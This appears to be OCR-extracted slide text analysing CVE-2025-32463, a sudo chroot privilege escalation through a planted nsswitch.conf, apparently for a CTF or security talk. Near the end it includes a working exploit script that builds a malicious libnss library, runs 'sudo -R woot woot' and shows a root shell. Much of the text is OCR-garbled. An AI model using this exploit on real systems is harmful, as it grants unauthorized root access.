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What is CVE-2025-324637

AKCVE-2025-32463 Detail

Description

Sudo before 1.9.17p1 allows local users to obtain root access because /etc/nsswitch.conf from a user-controlled directory is used with the --
chroot option.

M e't I'I CS CV55 Version 4.0 CVSS Version 3.x CVSS Version 2.0

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.
CVSS 3.x Severity and Vector Strings:

ii || i NIST: NVD Base Score:

‘E CNA: MITRE Base Score: [ Gune Vector: CVSS:3.1/AV:L/AC:L/PR:N/UL:N/S:C/C:H/I:H/A:H

Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

ﬂm \WTI\

©)
®)

SUDO



What is CVE-2025-324637

sudo -R ——> LPE

oo



What is CVE-2025-324637

Sudo 1.9.14

Fixed a bug where if the intercept or log_subcmds sudoers option was enabled and a sub-command was run where the
first entry of the argument vector didn't match the command being run. This resulted in commands like sudo su -
being killed due to the mismatch. Bug #1050.

The sudoers plugin now canonicalizes command path names before matching (where possible). This fixes a bug where
sudo could execute the wrong path if there are multiple symbolic links with the same target and the same base name in

sudoers that a user is allowed to run. GitHub issue #228.

Improved command matching when a chroot is specified in sudoers. The sudoers plugin will now change the root
directory id needed before performing command matching. Previously, the root directory was simply prepended to the
path that was being processed.

When NETGROUP_BASE is set in the 1dap.conf file, sudo will now perform its own netgroup lookups of the host name
instead of using the system innetgr(3) function. This guarantees that user and host netgroup lookups are performed
using the same LDAP server (or servers).

Fixed a bug introduced in sudo 1.9.13 that resulted in a missing " ; " separator between environment variables and the

command in log entries.
The visudo utility now displays a warning when it ignores a file in an include dir such as /etc/sudoers.d .

When running a command in a pseudo-terminal, sudo will initialize the terminal settings even if it is the background
process. Previously, sudo only initialized the pseudo-terminal when running in the foreground. This fixes an issue where
a program that checks the window size would read the wrong value when sudo was running in the background.

Fixed a bug where only the first two digits of the TSID field being was logged. Bug #1046.
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v 1.9.13

Nt set_cmnd _path(const char *runchroot) /{

ret = (cmnd_1n, &cmnd_out, user_stat, path,

runchroot, def_dignore_dot, NULL);
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v 1.9.14

Iint set_cmnd_path(struct sudoers_context *ctx, const char *runchroot) {
1 f (runchroot != NULL) {
1 (! (runchroot, &pivot_state))

gotTo error;

ret = (ctx, cmnd_1in, &cmnd_out, path);

1 f (runchroot != NULL)
(void) (&pivot_state);

chroot & HH olj 4] a"“'i;‘“;"
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A4 glibc NSS
getpwnamy() / getaddrinfo()

= App
(login / id / sudo / ssh)

/etc/nsswitch.conf
(policy: passwd/hosts...)

7

passwd: files

libnss_files.so.2
(dlopen + call)

Local files
letc/passwd /etc/group

passwd: systemd———

libnss_systemd.so.2
(dlopen + call)

systemd userdb
(nss-systemd)

passwd: sss\_’

libnss_sss.so.2
(dlopen + call)

SSSD « LDAP/AD

L2 Result
struct passwd/group
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/etc/nsswitch.conf
(policy: passwd/hosts...)

//—P

passwd: files

libnss files.so.2
(dlopen + call)

Local files
/etc/passwd /etc/group

passwd: systemd——p

libnss_systemd.so.2
(dlopen + call)

systemd userdb
(nss-systemd)

passwd: sss \’

libnss_sss.s0.2
(dlopen + call)

SSSD « LDAP/AD
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/etc

ls —al nsswitch.conf
-rw-r--r-— 1 root root 494 Mar 15 2025 nsswitch.conf
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Iint set_cmnd_path(struct sudoers_context *ctx, const char *runchroot) {
1 f (runchroot != NULL) {
1t (! (runchroot, &pivot_state))

goto error;
ret = (ctx, cmnd_1in, &cmnd_out, path);

1 ¥ (runchroot != NULL)
(void) (&pivot_state);

chroot & & oljlM(nss MHE S2i3)
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#0

#1

#8

#14
#15
#1
#19
#20
#21
#21
#28
#29
#30
#32
#33
#34
#35

sudo -R woot woot
stack trace

0x0000763a155db181

0x0000/63a16122711 i
0x0000763a1612a164 i
0x0000/63a15153a01 i
0x0000763a15T53eed i
0x0000/63a1515460b i
0x0000763a15150928 i
0x0000/63a15T62628 i
0x0000763a15d59ae8 i
0x0000/63a15d58d99 i

0x0000763a1577e491

0x0000763al157ce3et |
check user.constprop.0
0x00007/63a15799143 in sudoers _check cmnd

sudoers policy check

0x00005bal0874b491

main

in

woot () from libnss /woot1337.s0.2

call _init

~dl _open (file="libnss_/woot1337.s0.2".

module |oad

__nss_module load

Gl _nss _lookup_function

Gl _nss passwd lookup?

__getpwnam r

pam_modutil getpwnam

pam_acct mgmt
sudo_pam_approval

sudo_auth_approval

policy check
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module load(struct nss_module *module) {
ff et 2EL BES
£a T e 11y

if (strcmp(module->name, les') == @)
return module_load_nss_files(module);

"

if (strcmp(module->name, "dns") == @)
return module_load_nss_dns(module);

[/ 2R 2= A2
void *handle;

char *shlib_name;

if (__asprintf(&shlib_name, "libnss_%s.so%s",
module->name, __nss_shlib_revision) < @}
return false;
handle = __libc_dlopen(shlib_name); [/ F2E ZMHE=Z

free(shlib_name) ;
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nsswitch.conf: id : ok
- module->name =
-+ shlib_name =

- __Libc_dlopen("] - - .50.2")
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/
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A B C
WOoot libnss
nsswitch.conf woot1337.s0.2

sudo -R woot woot | < |
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#include <fcntl.h:
#include <unistd.h>
#include <sys/types.h>
#include <grp.h>
#include <n

int main
chdir("/tmp/stage

int saved root = open ",0 RDONLY
Fnt saved cwd = open(™.",0 RDONLY
chrootT( /Tmp/stage/wootT

chdir(’

gethostbyname( “woot”™

tchdir(saved root

chdir(saved cwd
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#include <fcntl.h:
#include <unistd.h>
#include <sys/types.h>
#include <grp.h>
#include <netdb.h:>
int main

chdir("/tmp/stage”

int saved root = open ",0 RDONLY
int saved cwd = open("”.",0 RDONLY
chroot("/tmp/stage/woot”

chdir

gethostbyname( “woot™

chdir(saved root
chroot(”."
fchdir(saved cwd
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#include <fcntl.h>
#include <unistd.h>

#include <sys/types.h>
#include <grp.h>
#include <n

int main
chdir("/tmp/stage

int saved root = open(”/",0 RDONLY
int saved cwd = open(™.",0 RDOMNLY
chroot("/tmp/stage/woot”

chdir(’

gethostbyname( "woot’

chdir(saved cwd
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#include «

#include <unistd.h>

#include <sys/types.h>
#include <grp.h>

#include <netdb.h>

int

main
chdir("/tmp/stage”
= open(”/",0 RDONLY
int saved cwd = open(™.",0 RDOMNLY
chroot("/tmp/stage/woot”

chdir("/"

oy o e s ™ 5 P - P —
FerTnosTDVname .H.-L't

tchdir(saved root
chroot("."
fchdir(saved cwd
getgrnam(“got root?

nsswitchOlAl REE VNS

(libnss_/woot1337.s0.2)
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#include <fcntl.h:
#include <unistd.h>
#include <sys/types.h>
#include <grp.h>
#include <netdb.h:>
int main

chdir("/tmp/stage”

int saved root = open(”/",0 RDONLY
int saved cwd = open(™.",0 RDOMNLY
chroot("/tmp/stage/woot”

chdir("/"

gethostbyname ("woot™

chdir(saved root

- -I T
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fchdir(saved cwd

getgrnam( “got root?”
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#include
#include

#include
#include
#include

int main

<fcntl.h>
{unistd.h>

{sys/types.h»

chdir("/tmp/stage

int saved root = open(”/",0 RDONLY
int saved cwd = open(™.",0 RDOMNLY
chroot("/tmp/stage/woot”

chdir(’

gethostbyname( "woot"

tchdir(saved root

chroot(™."

— 0
—_ L

ir saved_cwd
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libnss

|¥_S| woot1337.s0.2
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cat » wootl337.c<<EOQOF

H3 e A - 47 = -
finclude <stdlib.h>
#include <unistd.h>
attribute 01d woot({wvold)

execl("/bin/bash™, "/bin/bash™, NULL);

mikdir -p woot/etc libnss_
cho "passwd: /wootl337" » woot/etc/nsswitch.conf

— ot

T

cp fetc/group woot/etc

gcc -shared -fPIC -Wl,-init,woot -o libnss /wootl337.s0.2 wootl337.c

-
.
LI L S

~
L

[ ]

sudo -R woot woot
rm -rf
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~/CVE-2025-32U63

./exploit.sh
woot!

/
id
uid=0(root) gid=0(root) groups=0(root),U(adm),2U(cdrom),h27(sudo),30(dip),U46(plugdev),6100(users),6 1000(yeonba)
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W Pwn

5) baby-rop

5] SeeTypes

'Y root manager

==

5) ultimate sandbox

ROP, ret2dlresolve or ret2glibc

OOB,ROP,Ctypes

CVE-2025-32463,heap overflow

Side channel Attack, glibc srand,rand
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root_manager

pwnable
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